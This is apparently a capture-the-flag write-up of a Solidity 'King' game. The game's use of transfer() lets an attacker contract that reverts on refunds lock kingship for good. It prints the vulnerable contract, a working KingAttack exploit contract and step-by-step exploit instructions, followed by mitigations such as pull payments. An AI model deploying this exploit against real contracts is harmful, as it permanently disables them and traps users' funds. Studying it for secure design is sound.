Skip to main content

Denial of Service via Failing Ether Transfer


Challenge

The contract below implements a simple (and ponzi-like) game:

  • Whoever sends more ETH than the current prize becomes the new king.
  • The previous king is paid back the new prize amount.
  • The owner can always reclaim kingship.

Goal: Break the game so that nobody (not even the level/owner) can reclaim kingship.


Vulnerable contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value); // <-- vulnerable point
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

Vulnerability explained

  • The contract uses transfer to send ETH back to the old king.
  • transfer only forwards 2300 gas and reverts on failure.
  • If the current king is a contract that refuses ETH (by reverting in its receive()), the whole transaction reverts.
  • Result: no one can dethrone the malicious king → kingship is locked forever.

Attack contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {
constructor(address payable _king) payable {
// Become the king on deployment
(bool success, ) = _king.call{value: msg.value}("");
require(success, "Failed to become king");
}

// Block any ETH refunds → Denial of Service
receive() external payable {
revert("I will not give up the throne!");
}
}

Exploit — step by step

  1. Deploy the KingAttack contract with some ETH greater than the current prize.

    • Example: if prize == 1 ether, deploy with 2 ether.
  2. In the constructor, KingAttack sends ETH to the vulnerable King contract, becoming the new king.

  3. Now, the vulnerable contract’s king state variable points to the KingAttack contract.

  4. When anyone (even the level/owner) tries to dethrone you:

    • The contract tries transfer to KingAttack.
    • But KingAttack.receive() reverts.
    • Entire transaction fails → nobody can replace you.
  5. Kingship is permanently locked.


Mitigation

  • Do not use transfer or send when interacting with untrusted contracts.
  • Use a pull payment model: let users withdraw their own funds instead of force-paying them.
  • If forwarding ETH is required, use call and handle success/failure gracefully.

Conclusion

This challenge demonstrates a common Denial of Service (DoS) pattern:

Forcing a contract into an unrecoverable state by making ETH transfers fail.

Anytime a contract pushes ETH to an unknown address, it risks being locked. Safe design = let users pull their own funds.